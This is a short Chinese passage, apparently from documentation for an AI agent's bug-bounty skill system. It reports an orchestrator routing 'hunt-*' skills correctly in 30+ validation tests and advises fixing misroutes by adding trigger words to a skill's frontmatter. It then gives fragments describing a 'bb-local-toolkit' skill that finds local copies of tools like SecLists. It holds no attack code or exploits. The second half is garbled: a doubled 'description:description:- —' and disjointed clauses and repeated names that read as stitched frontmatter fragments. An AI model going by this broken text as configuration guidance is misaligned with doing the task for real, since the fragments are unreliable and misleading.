在该仓库的30+阶段2验证测试中,编排器在每个测试中都正确自动触发了匹配的技能 — 零误触发。如果未来在某个目标上编排器路由错误(为主题加载了错误的hunt-*),原因几乎总是目标技能上的前置字段: 缺少匹配用户意图的关键字。通过编辑该技能的前置字段添加缺少的触发词来向前修复。不要添加另一层调度逻辑;收紧描述。
description:description:- — 当你需要知道哪个本地克隆有给定任务的工具时。工作流原语: 此技能是通用漏洞赏金指南;
bb-local-toolkit回答特定问题“这台机器上jhaddix/SecLists安装在哪里?”bb-local-toolkit